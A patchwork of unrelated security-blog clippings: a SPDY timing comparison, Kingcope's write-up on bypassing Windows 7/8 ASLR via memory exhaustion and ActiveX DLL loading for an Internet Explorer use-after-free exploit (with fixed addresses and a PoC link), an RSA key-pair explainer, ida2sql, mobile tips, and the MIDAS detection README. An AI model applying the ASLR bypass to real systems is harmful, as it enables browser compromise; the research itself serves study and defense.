Since I am doing all of this comparing, I might as well see what vanilla HTTP
looks like:

<img src='img/Temp2_10413.png' />

HTTP: **2**.** 7 seconds**.  
  
**Important** the SPDY vs HTTP comparison is not a fair one**.** Because of
some deficiencies in Speed Tracer, it is not possible to include the SSL
handshake in addition to the initial SPDY connection**.** The SPDY connection
_is_ from a cold start \(I stop the server before each\)**.** Still, the SSL
handshake would add ~0.5 seconds to the entire conversation, meaning that SPDY
is still an easy winner**.**  
  
For completeness' sake, spdy/2 looks like:

<img src='img/Temp2_10414.png' />

SPDY/2: **1**.** 25 seconds**.  
  
And SPDY/2 with push:

<img src='img/Temp2_10409.png' />

SPDY/2: **1**.** 03 seconds**.  
  
So the final tally is:Trial| Time \(s\)  
---|---  
SSL| 5**.** 03  
spdy/3| 1**.** 1  
spdy/3 push| 0**.** 74  
HTTP| 2**.** 7  
spdy/2| 1**.** 25  
spdy/2 push| 1**.** 03  
I am unsure why the spdy/3 numbers both beat the corresponding spdy/2
numbers**.** I would expect them to be about the same since spdy/3 adds flow
control, but little to speed up this particular page**.** For now, I chalk it
up to small number statistics—I only ran one run for each**.**  
  
Regardless, the clear winner is SPDY**.** Tomorrow, I will repeat the spdy/3
part of the experiment with Chrome and Firefox—this time watching TCP
traces**.** That should serve as a nice last word on spdy/3 flow control**.**  
  
Day \#394 ****

# Attacking the Windows 7/8 Address Space Randomization « kingcopes´ blag

**Created:**| _1/24/2013 5:47:53 PM_  
---|---  
**Updated:**| _1/24/2013 5:47:53 PM_  
**Author:**| __  
**Tags:**| _windows security aslr windows environment mitigations_  
  

# Attacking the Windows 7/8 Address Space Randomization

[code]

    ================================================================================
    Attacking the Windows 7/8 Address Space Randomization
    Copyright (C) 2013 Kingcope
    
    "Was nicht passt wird passend gemacht" 
    (English: "If it don't fit, use a bigger hammer.") 
    	German phrase
    ================================================================================
    
    Synopsis - What this text is all about
    ================================================================================
    
    The following text is what looks like an attempt to circumvent windows 7 and
    windows 8 memory protections in order to execute arbritrary assembly code.
    The presented methods are in particular useful for client-side attacks as used
    for example in browser exploits.
    The topic that is discussed is a very complex one. At the time I started the
    research I thought the idea behind the attack will be applied to real-world
    scenarios quick and easy. I had to be convinced by the opposite.
    The research was done without knowing much about the real internals of the 
    windows memory space protection but rather using brute force, trial & failure
    in order to achieve what will be presented in the upcoming text. Be warned -
    the methods to attack the protection mechanisms hereby presented are not
    failsafe and can be improved. Tough in many cases it is possible to
    completely bypass Windows 7 and especially Windows 8 ASLR by using the
    techniques.
    
    Target Software
    ================================================================================
    
    The used operating systems are Windows 7 and Windows 8, the included PoC code
    runs on 32 Bits platforms and exploits Internet Explorer 8. All can be applied
    to Internet Explorer 9 with modifications to the PoC code. 
    For Internet Explorer 10 the memory protection bypass is included and
    demonstrated in the PoC. Executing code through return oriented programming
    is left as an excercise to the reader.
    The PoC makes use of the following vulnerability and therefore for testing the
    PoC the patch must not be installed.
    MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability
    This vulnerability is identified as CVE-2012-4969.
    It might be possible to use the very same method to exploit other browsers
    as other browsers give similar opportunities to the exploit writer. I don't want
    to sound crazy but even other Operating Systems might be affected by this, yet
    unconfirmed.
    
    Current ways to exploit browsers
    ================================================================================
    
    Today alot of attention is brought to client side exploits especially inside
    web browsers. Normally the exploitation is done through the old known method
    of spraying the heap. This is done by populating the heap with nopsleds and
    actual shellcode. By filling the heap in this way a heap overrun can be used
    to rewrite the instruction pointer of the processor to a known heap address
    where the shellcode resides quite deterministic.
    In order to bypass protections like Data Execution Prevention a ROP chain is
    built. There are exploits that install a stack pivot in the first place in
    order to exploit a heap overrun as it would be a stack based buffer overrun
    using a "return into code" technique. The mentioned modern ways to exploit
    heap corruptions are documented very well.  
    When it comes to Windows 7 and Windows 8 exploitation the exploit writer
    will face the obstacle of randomized memory space. There remains the simple
    question where do I jump to when having control over the instruction pointer?
    It might by possible to leak memory directly from the web browser and use this
    information to gain information about the correct offsets and executable code
    sections. This requires knowledge about a memory leak bug tough and therefore
    is not used alot. Another option is to use old DLLs that do not have their
    image bases randomized, for example older Java versions are known to have un-
    randomized image bases. This option requires the use of third-party software
    that has to be installed.
    This text will present a new way to deal with the 'where do i jump when
    I have code execution' problem.
    
    Introduction to Windows memory randomization
    ================================================================================
    
    Windows 7 and Windows 8 have a special security relevant protection programmed
    in. The so called A.S.L.R or '[A]ddress [S]pace [L]ayout [R]andomization' that 
    does nothing more than randomize every piece of memory, say its offsets.
    For example the program image is randomized, the DLLs the program uses are
    randomized too. There is not a single piece of memory from what one could say
    after a reboot the data in the memory space will be at the same place as before
    the reboot. The addresses even change when a program is restarted.
    
    ActiveX and other useful features
    ================================================================================
    
    Web browser exploits have many advantages to other kinds of exploits.
    For example JavaScript code can be executed inside the webbrowser. This is also
    the tool that heap spraying makes use of.
    Let us have a look at what happens if we load an ActiveX object dynamically
    when a web page loads. The ActiveX object we will load is the Windows Media 
    Player control. This can either be done using JavaScript or plain HTML code.
    At the point the ActiveX object is loaded Windows will internally load the
    DLLs into memory space if they previously where not inside the programs
    memory space. The offset of loading the DLLs in memory space is completely 
    random. At least it should be. Let us now see how we can manage to put a DLL
    into memory space at a fixed address by loading an ActiveX object at runtime.
    
    Exhausting memory space and squeezing DLLs into memory
    ================================================================================
    
    The nuts and bolts of what is presented here is the idea that DLLs are loaded
    into memory space if there is memory available, and if there is no memory or
    only small amounts of memory available then the DLL will be put into the
    remaining memory hole. This sounds simple. And it works, we can load a DLL
    into a remaining memory hole. First of all the exploit writer has to code
    a javascript routine that does fill memory until the memory boundary is hit
    and a javascript exception is raised. When the memory is filled up the installed
    javascript exception handler will execute javascript code that frees small
    chunks of memory in several steps, each step the javascript code will try to
    load an ActiveX object. The result is that the DLL (sometimes there are several
    DLLs loaded for an ActiveX object) will be loaded at a predictable address.
    This means that now the exploit writer has a predictable address to jump to and
    the 'where do i jump when I have code execution' problem is solved.
    One problem the method has is that Windows will become unresponsive at the time
    memory is exhausted but will resume normal operation after the DLL is loaded
    at a fixed address and the memory is freed using the javascript code.
    
    Summary of exploitation stages:
     * Fill the heap with random bytes until all memory is used up.
      During the heap filling stage Windows might become unresponsive and will relax
      soon afterwards
    ·* Free small heap blocks one by one and try adding a DLL
       (for example by using a new ActiveX Object that is loadable without a warning
       by Internet Explorer) This DLL (and the DLLs that are loaded from it) will
       be squeezed into the remaining memory region (the space that was freed by us
       through JavaScript). This address is fixed and predictable for us to jump to
     * Free the remaining memory blocks which were allocated before
     * Spray the heap using the well known method
     * Finally trigger the heap corruption and jump to this fixed DLL base to
       execute our code in a ROP manner. 
    
    To say it abstract the exploit writer has to be especially careful about the
    timing in the JavaScript code and about the memory the exploit routines
    themselves take up.
    
    ROP chain and the LoadLibrary API
    ================================================================================
    
    At the time we have loaded the DLL at a predictable address it is possible to
    use a ROP chain in order to execute shellcode. The PoC code goes a much simpler
    path. It will use a short ROP chain and call the LoadLibrary API that is
    contained in the Windows Media Player DLLs. This way another DLL can be fetched
    from a WebDAV share and loaded into the Internet Explorer memory space in order
    to fully execute arbritrary code.
    
    Windows 8 singularity
    ================================================================================
    
    Testcases have shown that Windows 8 behaves more vulnerable to the method than
    Windows 7. In Windows 8 the DLL will be loaded at the very low address 0x10000
    and more reliable than in Windows 7. Windows 7 is much more persistant in
    loading the DLL at a fixed memory address. The testcases for Windows 7 have
    shown that the DLL will be loaded at the predictable address at least 7 out of
    10 times of loading the exploit.
    
    The PoC codes
    ================================================================================
    
    There are two different PoCs, one for Windows 7 and one for Windows 8.
    The Windows 8 code is a slightly modified version of the Windows 7 code.
    Please note that Windows Defender detects the Win8 PoC as being an exploit and
    blocks execution. The parts which are detectable by windows defender are
    not needed for the A.S.L.R. attack to work. Please disable Windows Defender
    if you test the Windows 8 PoC for now.
    
    The Windows 7 PoC is successful if it loads gdiplus.dll at the predictable
    fixed offset 0x7F7F0000. If you are lucky and have set up the exploit
    appropriately the payload will be executed, which is currently a MessageBox that
    pops up.
    The Windows 8 PoC is successful if it loads gdiplus.dll at the predictable
    fixed offset 0x10000.
    Please note that wmp.dll (Windows Media Player DLL) and gdiplus.dll should not
    be in the Internet Explorer address space prior to executing the PoC for it 
    to succeed.
    As a final note, the PoC does not depend on the ActiveX control that is added it
    can be changed with some effort to load a different DLL.
    
    Here are the mappings I tested when the PoC succeeds:
    
    Windows 7 32-Bit Service Pack 0 & Service Pack 1 across reboots:
    Address    Size       Owner      Section    Contains      Type   	Access    
    7F7F0000   00001000   gdiplus               PE header     Imag   R         RWE
    7F7F1000   0016B000   gdiplus    .text      code,imports  Imag   R         RWE
    7F95C000   00008000   gdiplus    .data      data          Imag   R         RWE
    7F964000   00001000   gdiplus    Shared                   Imag   R         RWE
    7F965000   00012000   gdiplus    .rsrc      resources     Imag   R         RWE
    7F977000   00009000   gdiplus    .reloc     relocations   Imag   R         RWE
    
    Windows 8 32-Bit across reboots:
    Address    Size       Owner      Section    Contains      Type   	Access    
    00010000   00001000   gdiplus               PE header     Imag   R         RWE
    00011000   00142000   gdiplus    .text      code,exports  Imag   R         RWE
    00153000   00002000   gdiplus    .data                    Imag   R         RWE
    00155000   00003000   gdiplus    .idata     imports       Imag   R         RWE
    00158000   00012000   gdiplus    .rsrc      resources     Imag   R         RWE
    0016A000   00009000   gdiplus    .reloc     relocations   Imag   R         RWE
    
    The archive containing the PoCs is found here: http://www.farlight.org/rlsa.zip
    Enjoy!
[/code]

### Like this:

# Vidar’s Blog » What’s in a SSH RSA key pair?

**Created:**| _6/9/2011 6:45:05 PM_  
---|---  
**Updated:**| _6/9/2011 6:45:11 PM_  
**Author:**| __  
**Tags:**| _crypto_  
  

## What’s in a SSH RSA key pair?

June 3rd, 2011

Goto comments Leave a comment

You probably have your own closely guarded ssh key pair. Chances are good that
it’s based on RSA, the default choice in ssh-keygen.

RSA is a very simple and quite brilliant algorithm, and this article will show
what a SSH RSA key pair contains, and how you can use those values to play
around with and encrypt values using nothing but a calculator.

RSA is based on primes, and the difficulty of factoring large numbers. This
post is not meant as an intro to RSA, but here’s a quick reminder. I’ll use
mostly the same symbols as Wikipedia: you generate two large primes, p and q.
Let φ = \(p-1\)\(q-1\). Pick a number e coprime to φ, and let d ≡ e^-1 mod φ.

The public key is then \(e, n\), while your private key is \(d, n\). To
encrypt a number/message m, let the ciphertext c ≡ m^e mod n. Then m ≡ c^d mod
n.

This is very simple modular arithmetic, but when you generate a key pair with
ssh-keygen, you instead get a set of opaque and scary looking files, id\_rsa
and id\_rsa.pub. Here’s a bit from the private key id\_rsa \(no passphrase\):

`  
-----BEGIN RSA PRIVATE KEY-----  
MIIBygIBAAJhANj3rl3FhzmOloVCXXesVPs1Wa++fIBX7BCZ5t4lmMh36KGzkQmn  
jDJcm+O9nYhoPx6Bf+a9yz0HfzbfA5OpqQAyC/vRTVDgHhGXY6HFP/lyWQ8DRzCh  
tsuP6eq9RYHnxwIBIwJhAKdf+4oqqiUWOZn//vXrV3/19LrGJYeU`

`...  
-----END RSA PRIVATE KEY-----  
`

How can we get our nice RSA parameters from this mess?

The easy way is with openssl: \(I apologize in advance for all the data spam
in the rest of the article\).

> `  
>  vidar@vidarholen ~/.ssh $ openssl rsa -text -noout < id_rsa  
>  Private-Key: (768 bit)  
>  modulus:  
>  00:d8:f7:ae:5d:c5:87:39:8e:96:85:42:5d:77:ac:  
>  54:fb:35:59:af:be:7c:80:57:ec:10:99:e6:de:25:  
>  ...  
>  publicExponent: 35 (0x23)  
>  privateExponent:  
>  00:a7:5f:fb:8a:2a:aa:25:16:39:99:ff:fe:f5:eb:  
>  57:7f:f5:f4:ba:c6:25:87:94:48:64:93:fb:3d:a7:  
>  ...  
>  prime1:  
>  ...  
>  prime2:  
>  ...  
>  exponent1:  
>  ...  
>  exponent2:  
>  ...  
>  coefficient:  
>  ...  
> `
Here, modulus is n, publicExponent is e, privateExponent is d, prime1 is p,
prime2 is q, exponent1 is dP from the Wikipedia article, exponent2 is dQ and
coefficient is qInv.

Only the first three are strictly required to perform encryption and
decryption. The latter three are for optimization and the primes are for
verification.

It’s interesting to note that even though the private key from RSA’s point of
view is \(d,n\), the OpenSSH private key file includes e, p, q and the rest as
well. This is how it can generate public keys given the private ones.
Otherwise, finding e given \(d,n\) is just as hard as finding d given \(e,n\),
except e is conventionally chosen to be small and easy to guess for efficiency
purposes.

If we have one of these hex strings on one line, without colons, and in
uppercase, then bc can work on them and optionally convert to decimal.

> `  
>  # If you don't want to do this yourself, see end for a script  
>  vidar@vidarholen ~/.ssh $ { echo 'ibase=16'; cat | tr -d ':\n ' | tr a-f A-F; echo; } | bc  
>  **_  
> 00:d8:f7:ae:5d:c5:87:39:8e:96:85:42:5d:77:ac:  
>  54:fb:35:59:af:be:7c:80:57:ec:10:99:e6:de:25:  
>  98:c8:77:e8:a1:b3:91:09:a7:8c:32:5c:9b:e3:bd:  
>  ….  
>  Ctrl-d to end input_**  
>  13158045936463264355006370413708684112837853704660293756254884673628\  
>  63292…  
> `
We also need a power-modulo function, since b^e % m is unfeasibly slow if you
go by way of b^e. Luckily, bc is programmable.

> `  
>  vidar@vidarholen ~/.ssh $ bc  
>  bc 1.06.94  
>  Copyright 1991-1994, 1997, 1998, 2000, 2004, 2006 Free Software Foundation,
> Inc.  
>  This is free software with ABSOLUTELY NO WARRANTY.  
>  For details type `warranty'.`
> `**_# Our powermod function:  
>  define pmod(b,e,m) { if(e == 0 ) return 1; if(e == 1) return b%m;
> rest=pmod(b^2%m,e/2,m); if((e%2) == 1) return (b*rest)%m else return rest; }  
> _**`
> `**_  
> #Define some variables (this time unabbreviated)  
>  n=13158045936463264355006370413708684112837853704660293756254884673628\  
>  63292777770859554071108633728590995985653161363101078779505801640963\  
>  48597350763180843221886116453606059623113097963206649790257715468881\  
>  4303031148479239044926138311_**`
> `**_e=35_**`
> `**_d=10150492579557375359576342890575270601332058572166512326253768176799\  
>  23111571423234513140569517447770196903218153051479115016036905320557\  
>  80231250287900874055062921398102953416891810163858645414303785372309\  
>  5688315939617076008144563059_**`
> `**_  
> # Encrypt the number 12345  
>  c=pmod(12345, e, n)_**  
>  **_  
> # Show the encrypted number  
>  c_**  
>  15928992191730477535088375321366468550579140816267293144554503305092\  
>  03492035891240033089011563910196180080894311697511846432462334632873\  
>  53515625`
> `**_  
> #Decrypt the number  
>  pmod(c, d, n)  
> _**  
>  12345  
> `
Yay, we’ve successfully encrypted and decrypted a value using real life RSA
parameters\!

What’s in the public key file, then?

`ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAGEA2PeuXcWHOY6WhUJdd6xU+zVZr758gFfsEJnm3iWYyHfoobORCaeMMlyb472diGg/HoF/5r3LPQd/Nt8Dk6mpADIL+9FNUOAeEZdjocU/+XJZDwNHMKG2y4/p6r1FgefH
vidar@vidarholen.spam`

This is a very simple file format, but I don’t know of any tools that will
decode it. Simply base64-decode the middle string, and then read 4 bytes of
length, followed by that many bytes of data. Repeat three times. You will then
have key type, e and n, respectively.

Mine is 00 00 00 07, followed by 7 bytes “ssh-rsa”. Then 00 00 00 01, followed
by one byte of 0×23 \(35, our e\). Finally, 00 00 00 61 followed by 0×61 = 97
bytes of our modulus n.

If you want to decode the private key by hand, base64-decode the middle bit.
This gives you an ASN.1 encoded sequence of integers.

This is an annotated hex dump of parts of a base64-decoded private key

[code]

    30 82 01 ca   - Sequence, 0x01CA bytes
        02 01: Integer, 1 byte
            00
        02 61:    - Integer, 0x61 bytes (n).
            00 d8 f7 ae 5d c5 87 39 8e 96 ... Same as from openssl!
        02 01:  - Integer, 1 byte, 0x23=35 (e)
            23
        02 61  - Integer, 0x61 bytes (d)
            00 a7 5f fb 8a 2a aa 25 16 39 ...
        ...
    
    
[/code]

Here’s a bash script that will decode a private key and output variable
definitions and functions for bc, so that you can play around with it without
having to do the copy-paste work yourself. It decodes ASN.1, and only requires
OpenSSL if the key has a passphrase.

When run, and its output pasted into bc, you will have the variables n, e, d,
p, q and a few more, functions encrypt\(m\) and decrypt\(c\), plus a
verify\(\) that will return 1 if the key is valid. These functions are very
simple and transparent.

Enjoy\!

# ida2sql: exporting IDA databases to MySQL « blog.zynamics.com

**Created:**| _7/1/2010 10:27:35 AM_  
---|---  
**Updated:**| _7/4/2010 8:03:17 AM_  
**Author:**| __  
**Tags:**| _security tools iDA Databases reversing analysis_  
  

## ida2sql: exporting IDA databases to MySQL

By Ero Carrera

Today we are finally making it easier to get your hands on ida2sql, our set of
scripts to export information contained in an IDA database into MySQL.

As a short recap, ida2sql is a set of IDAPython scripts to export most of the
information contained in an IDB into a MySQL database. It has existed and
evolved already for a few years and has been the main connection between IDA
and BinNavi for the most of the life of the latter.

The last development efforts have been geared towards making the schema a bit
more friendly \(see below\) and making it work in a fair range of IDA \(5.4 to
5.7\) and IDAPython versions \(including some that shipped with IDA which had
minor problems, ida2sql will automatically work around those issues\). The
script runs under Windows, Linux and OSX.

ida2sql is comprised of a ZIP archive containing the bulk of the scripts that
simply needs to be copied to IDA’s plugin folder. No need to extract its
contents. A second script, ida2sql.py, needs to be run from within IDA when we
are ready to export data. You can keep it in any folder, it should be able to
automatically locate the ZIP file within the plugins folder. You can download
here a ready built package containing the ZIP file, the main script, a README
and an example configuration file.

When the main Python file is executed in IDA and if all the dependencies are
successfully imported the user will be presented with a set of dialogs to
enter the database information. If the database is empty there will also be a
message informing that the basic set of tables is about to be created at that
point. Once all configuration steps have been completed the script will start
processing the database, gathering data and finally inserting it all into the
database.

The configuration process can be simplified by creating a config
file ida2sql.cfg in IDA’s main directory \(or by pointing to it the IDA2SQLCFG
environment variable\). If ida2sql can find that file it will not ask for any
of the configuration options and go straight into the exporting.

#### Automation

ida2sql has a batch mode that comes handy when you need to export a collection
of IDBs into the database. To run ida2sql in batch mode it’s enough to set the
corresponding option in the configuration file.  
`  
mode: batch  
`  
An operation mode of “batch” or “auto” indicates that no questions or other
kind of interaction should be requested from the user. \(Beware though that
IDA might still show dialogs like those reminding of a license or free-updates
period about to expire. In those cases run IDA through the GUI and select to
never show again those reminders\). The batch mode is specially useful when
running ida2sql from the command line, for instance:  
`  
idag.exe -A -OIDAPython:ida2sql.py database.idb|filename.exe  
`

#### Requirements

  * mysql-python
  * A relatively recent IDA \(tested with 5.4, 5.5, 5.6 and the latest beta of 5.7\)
  * IDAPython. Chances are that you already have it if you are running a recent IDA version
  * A MySQL database. It does not need to reside on the same host

#### The schema

A frequent criticism to the schema design has always been the use of a set of
tables per each module. People have asked why not use instead using a common
table-set for all modules in the database. While we considered this approach
in the original design, we opted for using a set of tables per module. We are
storing operand trees in an optimized way aiming at reducing redundant
information by keeping a single copy of all the common components of the
operand’s expression tree. Such feature would be extremely difficult to
support were we to use a different a different schema. Additionally tables can
easily grow to many tens of millions of rows for large modules. Exporting
hundreds of large modules could lead to real performance problems.

The table “modules” keeps track of all IDBs that have been exported into the
database and a set of all the other tables exists for each module.

<img src='img/Temp2_10394.png' width='300' height='179' alt='BinNavi DB
Version 2' />

BinNavi DB Version 2

The following, rather massive, SQL statement shows how to retrieve a basic
instruction dump for all exported code from an IDB. \(_beware of the
placeholder  **“\_?\_”**_\)

`01` | `SELECT`  
---|---  
`02` | `   ``HEX( functions.address ) ``AS` `functionAddress,`  
---|---  
`03` | `   ``HEX( basicBlocks.address ) ``AS` `basicBlockAddress,`  
---|---  
`04` | `   ``HEX( instructions.address ) ``AS` `instructionAddress,`  
---|---  
`05` | `   ``mnemonic, operands.position,`  
---|---  
`06` | `   ``expressionNodes.id, parent_id,`  
---|---  
`07` | `   ``expressionNodes.position, symbol, HEX( immediate )`  
---|---  
`08` | `FROM`  
---|---  
`09` | `    ``ex_?_functions ``AS` `functions`  
---|---  
`10` | `INNER` `JOIN` `ex_?_basic_blocks ``AS` `basicBlocks ``ON`  
---|---  
`11` | `    ``basicBlocks.parent_function = functions.address`  
---|---  
`12` | `INNER` `JOIN` `ex_?_instructions ``AS` `instructions ``ON`  
---|---  
`13` | `    ``basicBlocks.id = instructions.basic_block_id`  
---|---  
`14` | `INNER` `JOIN` `ex_?_operands ``AS` `operands ``ON`  
---|---  
`15` | `    ``operands.address = instructions.address`  
---|---  
`16` | `INNER` `JOIN` `ex_?_expression_tree_nodes ``AS` `operandExpressions ``ON`  
---|---  
`17` | `    ``operandExpressions.expression_tree_id = operands.expression_tree_id`  
---|---  
`18` | `INNER` `JOIN` `ex_?_expression_nodes ``AS` `expressionNodes ``ON`  
---|---  
`19` | `    ``expressionNodes.id = operandExpressions.expression_node_id`  
---|---  
`20` | `ORDER` `BY`  
---|---  
`21` | `    ``functions.address, basicBlocks.address,`  
---|---  
`22` | `    ``instructions.``sequence``, operands.position,`  
---|---  
`23` | `    ``expressionNodes.parent_id,`  
---|---  
`24` | `    ``expressionNodes.position;`  
---|---  
#### Limitations and shortcomings

The only architectures supported are x86 \(IDA’s metapc\), ARM and PPC. The
design is pretty modular and supports adding new architectures by simply
adding a new script. The best way to go about it would be to take a look at
one of the existing scripts \(PPC and ARM being the simplest and most
manageable\) and modify them as needed.

ida2sql has been designed with the goal in mind of providing an information
storage for our products, such as BinNavi. It will only export code that is
contained within functions. If you have an IDB that has not been properly
cleaned or analyzed and contains snippets/chunks of code not related to
functions, those will not be exported. Examples of some cases would be
exception handlers that might only be referenced through a data reference \(if
at all\) or switch-case statements that haven’t been fully resolved by IDA.

The scripts have exported IDBs with hundreds of thousands of instructions and
many thousands of functions. Nonetheless the larger the IDB the more memory
the export process is going to require. ida2sql’s performance scales mostly
linearly when exporting. It should not degrade drastically for larger files.
It will also make use of temporary files that can grow large \(few hundred MBs
if the IDB is tens of MBs in size when compressed\). Those should not be major
limitations for most uses of ida2sql.

Also it’s worth noting that IDA 5.7 has introduced changes to the core of
IDAPython and the tests we have made so far with the current beta the
performance of ida2sql has improved significantly. In the following figures
you can see the export times in seconds for some IDBs exported with IDA 5.5,
5.6 and 5.7.

<img src='img/Temp2_10392.png' alt='ida2sql export times' />

ida2sql export times for a medium size file

<img src='img/Temp2_10393.png' alt='ida2sql export times' />

ida2sql export times for a set of small IDBs

Summing up. We hope this tool will come handy for anyone looking into
automating mass analysis and has been bitten by the opaque and cumbersome
IDBs. Give it a spin,look at the source code, break it and don’t forget to let
us know how it could be improved\! \(patches are welcome\! <img
src='img/Temp2_10395.png' alt=';-)' /> \)

  

# Dailydave: Immunity's Guide to Being Mobile and Secure

**Created:**| _4/21/2011 10:22:34 AM_  
---|---  
**Updated:**| _4/21/2011 10:22:34 AM_  
**Author:**| __  
**Tags:**| _mobile/embedded opinion_  
  
**Immunity's Guide to Being Mobile and Secure**

* * *
_From_ : dave <dave \(\) immunityinc com>  
_Date_ : Mon, 18 Apr 2011 11:23:16 -0400  

* * *
[code]

    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1
    
    (also see:
    http://www.kiplinger.com/columns/kiptips/archives/smart-phone-safety-tips-from-a-professional-hacker.html
    )
    
    Immunity's Guide to Being Mobile and Secure
    
    Choose your OS:
     - Sorry Google-Fans. Android is the least secure mobile phone
    operating system that you'll actually use - it's accessible and easy
    to write applications for - and that means less secure.
    - - The Blackberry is the least secure mobile phone OS that you won't
    use (at least, not if you don't have to)
    - - Windows Phone 7 is the most secure operating system, partially
    because no one has ever seen it in the wild. But both the iPhone and
    WP7 are built from the ground up to restrict what the consumer does
    with their phone. This makes them "secure" both for you, and for large
    media companies who want to make money off you.
    
    Choose what you do:
    - - Don't ever do internet banking on your phone
    - - Don't submit checks to your bank from your phone
    - - Don't take naughty pictures on your phone
    - - There's no halfway here. You either want someone to take all your
    money or you don't.
    
    Choose your connection:
    - - Stick with 3G if you can, while traveling. WiFi is short for "I like
    it when other people log into my facebook as me".
    - - Buy yourself a local phone when you go out-of-country.
    
[/code]

# etsy/MIDAS

**Created:**| _12/8/2013 2:01:53 PM_  
---|---  
**Updated:**| _12/8/2013 2:01:53 PM_  
**Author:**| __  
**Tags:**| _iDS/iPS Mac-hacking_  
  

# MIDAS****

MIDAS is a framework for developing a Mac Intrusion Detection Analysis System,
based on work and collaborative discussions between the Etsy and Facebook
security teams. This repository provides a modular framework and a number of
helper utilities, as well as an example module for detecting modifications to
common OS X persistence mechanisms.

The MIDAS project is based off concepts presented in Homebrew Defensive
Security  and Attack-Driven Defense , as well as lessons learned during the
development of the Tripyarn and BigMac products**.**

Our mutual goal in releasing this framework is to foster more discussion in
this area and provide organizations with a starting point in instrumenting OS
X endpoints to detect common patterns of compromise and persistence**.**

##  Overview****

The `midas` subdirectory is where the core MIDAS code lives**.** The entry
point is `launcher.py`. From there, each module in `midas/modules` is executed
and the stdout of the module is written to a log file**.** When deploying
MIDAS, this is the code that's put on user's systems.

The `develop` subdirectory is where development resources \(like a
`.pylintrc`\) live**.**

The `templates` resource is where template and base resources live**.** These
can be used as a starting point when adding modules**.**

##  Architecture****

MIDAS allows you to define a set of "modules" that implement host-based
checks, verifications, analysis, etc**.**

###  Launcher****

The `launcher**.** py` file exists at the top level of the `midas`
directory**.** It gathers some simple information about the host it's
executing on \(such as time, hostname, etc\) and defines the ways that it
should handle modules of certain languages**.** To add a supported language,
create a new instance of `TyLanguage` in `launcher**.** py` and add it to the
`SUPPORTED_LANGUAGES` list**.** If you'd like to change the way a certain
language is supported \(perhaps you'd like all python modules to be executed
with a custom version of python\), you can change the attributes \(such as
`execution_string`\) of the language**.**

Once key definitions are made, the launcher will iterate through all files
\(note that directories are explicitly skipped\) in the `modules`
subdirectory**.** For each file in the directory, if a language entry is found
that indicates how to deal with that filetype, the file is executed and the
stdout of the module are appended to a log file in the `log` subdirectory**.**
Note that a module `modules/example.py` will generate a log file
`logs/example.log`**.**

###  Module language****

Modules can be written in any language, so long as a named tuple for that
language is defined in `midas/launcher**.** py`. These named tuples \(which
already exist for python, ruby and shell\) exist so that MIDAS knows how to
handle certain filetypes when it sees them**.**

As long as your code can be executed and prints something to stdout, it can be
a module**.**

##  Components****

###  Example module****

The file `midas/modules/example**.** py` is an example MIDAS module created to
illustrate what a MIDAS module might look like**.** This module performs
analysis of LaunchAgents and LaunchDaemons on the host and logs any
modifications that it identifies**.** The rest of the checks and verifications
analyze the host firewall configurations and log any additions or differences
that are identified**.** **This is not meant to be a complete intrusion
detection mechanism alone** , instead it is meant as a reference example of
what a MIDAS module may look like**.**

###  Helpers****

There are several helper files in `midas/lib/helpers` that are generally
grouped by category**.** Functions in these helpers can be imported by modules
to assist in general tasks**.** Some functionality exposed by helpers include:

  * list all weak SSH keys on a host
  * find all files in a given directory with given permissions
  * list all startup items
  * list all LaunchAgents, LaunchDaemons, etc**.**
  * list and hash all kernel extensions
  * return the SSID of the currently connected WiFi network
  * return the IP and MAC address of the current network gateway
  * return DNS configuration information
  * and much, much more

###  Config system****

The config file, which can be found at `midas/lib/config**.** py` is a way to
group together information that can be abstracted away from modules**.**
Usually there are things like strings that should be checked in a certain
module validation, directories to search during a given check, etc**.** By
abstracting the data away from the individual module/code, it makes it easier
for people who might not maintain the code to contribute to it**.**

Since the config dictionary is operated on via a static method, it does not
need to instantiate the Config object in order to use it**.** To add a new
value to the config dictionary, simply add an entry in the class**.**

###  ORM and table definitions****

MIDAS relies on a local datastore to do some simple host-based analytics with
the data gathered by modules**.** For this reason, MIDAS comes with a simple,
custom ORM**.**

####  Table definitions****

Table schemas are described via a simple dictionary, all of which can be found
in `midas/lib/tables/`**.** The dictionary is then parsed and valid SQL is
created from the dictionary**.** Each item in the dictionary represents a
column**.** The column definition should be a key-value pair where the key is
a strings that represents the name of the column and the value is a dictionary
that describes the column**.** The column definition dictionary can have the
following attributes:

  * default 
    * If this is set, it will be the default value of the column**.** This is most frequently set to `"NULL"`
  * nullable 
    * If this is set to `False`, then the `NOT NULL` attribute will be used when creating the table
  * attrs 
    * Use this to add additional SQL syntax that you want added to the table creation statement that isn't supported by tyORM
  * primary\_key 
    * If this is set to `True`, then the column listed will be set to the primary key

See the following same table definition for reference:

[code]

    test_table = {
        "data_field_name" : {
            "type" : "text",
            "nullable" : False,
        },
        "other_data_field" : {
            "type" : "text",
            "default" : "NULL",
        }
    }
    
[/code]

####  Instantiating an ORM object****

When instantiating an ORM object, the class takes one parameter: the database
filename**.** If the file doesn't exist, the ORM will create it**.**

See the following example code for reference:

[code]

    from lib**.** ty_orm import TyORM
    ORM = TyORM("midas_hids**.** db")
    
[/code]

####  Transparent primary key system****

Although it is possible to specify a primary key when creating a table, TyORM
transparently creates an auto-incrementing `id` column and sets it as a
primary key**.** Although SQLite allows you to specify several primary keys,
this is not necessary**.** The `id` column is always used as the `WHERE`
clause identifier when doing `UPDATE` and `DELETE` operations**.**

####  Creating****

Use the `insert` method to insert data into a table**.** The `insert` method
takes two arguments: the table name and the data that you'd like to
insert**.** The table name should be a string that describes the name of the
table**.** The data should be a dictionary such that the keys describe the
columns that the value should be inserted into**.**

See the following example `insert` call for reference:

[code]

    ORM = TyORM("midas_hids**.** db")
    data = {
        "data_field_name" : "foo",
        "other_data_field" : "bar",
    }
    ORM**.** insert("test_table", data)
    
[/code]

####  Reading****

Use the `select` method to read data from the database**.** The `select`
method takes one mandatory argument and three optional arguments**.**

The mandatory argument that all `select` method calls needs to have is the
table name that you'd like to select from**.** The optional arguments are as
follows:

  * columns 
    * An array of columns that you would like returned
  * where 
    * A string that describes the "WHERE" clause that you would like added to the SQL query
    * Note that this can be a string but if you're supplying user input, this should be an array such that the first item in the array is the where clause with '**?** ' place holders and the second item in the array is an array with the representative values**.**
  * limit 
    * An integer describing the LIMIT value that you would like added to the SQL query
  * order\_by 
    * A string dictating which column to order results by

See the following example `select` calls for reference:

[code]

    ORM = TyORM("midas_hids**.** db")
    
    # this will return all table data
    ORM**.** select("test_table")
    
    # this will return only the "data_field_name" column of the
